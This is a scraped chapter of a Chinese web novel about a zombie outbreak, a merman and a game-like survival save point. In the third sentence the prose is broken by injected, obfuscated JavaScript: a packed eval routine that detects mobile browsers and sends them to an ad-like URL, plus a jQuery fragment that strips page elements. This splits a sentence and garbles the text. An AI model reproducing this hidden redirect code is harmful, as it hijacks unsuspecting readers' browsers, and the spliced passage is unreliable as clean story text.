远远地似乎传来了人群哀嚎的声音,让人心绪不宁、坐立难安。成旭年不住地往窗户的方向看去,眼神有些为难,似乎很想看看外面的情况,也想劝劝萧宁带着人鱼去帮忙,可是最后也还是把话吞回了肚子。 对方把他拉进屋子里面已经很给面子了。他要是再逼逼叨叨,真的怕萧宁把他丢出去喂丧尸。 萧宁现在可没有把成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15037406|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旭年丢出去喂丧尸的心情,他闭着眼睛,默默在心里模拟他所处的的屋子的三维图景,然后再努力回忆当时出现的那个红色光点是从哪个方向射过来的。 大概圈定了一个范围,他就没有再继续想了,而是开始闭目养神。 过了一阵子,原本安安静静的对讲机突然猛烈的震动了起来。里面传来安雪断断续续的声音:“萧博士!快走!快走!啊啊啊啊!村子要扛不住了,快走!” 于此同时杂乱的背景音还隐隐约约透露出孩子尖锐的哭声和女人凄厉的哀嚎,让人不禁为之胆寒。 但是萧宁只是漠然地看着那只对讲机在重响后归于平静。 他抬头,问菲利克斯:“你有听到里面的声音是从哪边传来的吗?”从晚上的警示来看,人鱼的听力应该远超常人。 果不其然,菲利克斯思考片刻,指向了一个方向,和萧宁刚刚在脑中模拟的方向完全一致。 果然…… 萧宁又看了一下时间,天已经亮了,但是距离72小时的截止时间仍旧还有一段时间。 不能再等了,不然假的就得变成真的了。 他塞给菲利克斯一只大熊玩偶,让他背着玩偶披好斗篷从房后的路线往村子外面去。等确定了菲利克斯明白了要怎么走,萧宁自己也以一个落后的身距跟在菲利克斯后面跑了出去。 另一边,在放完那个提前准备好的音频之后,吴雨又盯了一会儿毫无动静的屋子,在从其他丧尸那里获得有人从他们的防线冲出去的消息之后,控制那里的丧尸将机关开启,然后抱着木仓往那里跑。 见到意料之中被特制喷雾定在原地的背着人的黑斗篷之后,举起了木仓。 但是比他的木仓更快的是他身后的身影。 “咚。” 一瞬间,吴雨的视野天旋地转。 “惊不惊喜,意不意外。” 萧宁用尽全力,又往他的头狠狠地敲了一下。这个人太狡诈了,又是故意让人来送特别的对讲机,又是在窗户那里随时准备狙击,还想骗他出门帮忙或者逃跑。 他不得不说,对方真的其实挺厉害的,连那通假通讯都憋到那么晚才发。如果太早了,根本不会被相信的。因为在丧尸怕火的前提下,安警官根本不可能那么快就扛不住的。 然而,就算是拖延了,萧宁也觉得还是早了,因为在没有从内部被摧毁的前提下,他相信就算火把用完了,安警官、何大哥他们也一定可以和村子的巡逻队坚持一段时间的。 不过为了不要出现人员伤亡,他也还是出来了。要是拖到72小时,他倒是真的没事了,村子应该就得死人了。 萧宁看着面前的吴雨,神经丝毫不敢放松,因为不弱的恢复力,对方被他的锄头那么用力的砸了记下竟然还没死。他真的对自己的战五渣有点无奈了。 不过也差不多了,萧宁看了一眼人鱼的方向。他是猜到对方在有人鱼的情况下还要用丧尸,八成就是要用从王所长身上拿到的药剂对付人鱼,再对付他。 不过能拖这么久,人鱼的行动能力差不多也快要恢复了。只要等他恢复了…… 萧宁刚要望向人鱼的方向,就从余光中看见那被他打得头重脚轻的人从怀里掏出了什么,猛得一拔。 萧宁的脑子都还没有反应过来,腿就已经在死命地跑了。他一把拽过像木头一样僵在那里的人鱼,滚下了土坡。 “嘭!”震天动地的爆炸声让人的耳膜都一阵阵发痛。萧宁却已经感觉不到了,他在和人鱼滚下坡的时候,直接撞到了头,失去了意识。 …… 他好像做了一个很久很久的梦,醒来都感觉一阵阵头晕。 萧宁扶着脑袋站起来,眼前的东西似乎都带着重影。 本来被他拽着的人鱼不知道是不是滚散了,连个影子都没有看到。 唯一在他面前的,是一条吐着信子颜色相当靓丽的蛇。 萧宁:不是吧……竹叶青?! 眼见着这条容易受惊开展攻击行为的竹叶青张开嘴就要咬到萧宁身上。 “嗡” 似乎有什么东西猛得震颤了一下,他周围的一切都如同被时光静止了片刻,一张半透明的面板显露在他的面前—— “尊敬的游戏玩家: 恭喜您已成功存活72小时,获得第一个游戏存档点。此游戏存档点确定后将可以无限回档至存档时间,但存档时间点确定后将无法更改。” “请问,您是否现在需要使用存档点?” “是!”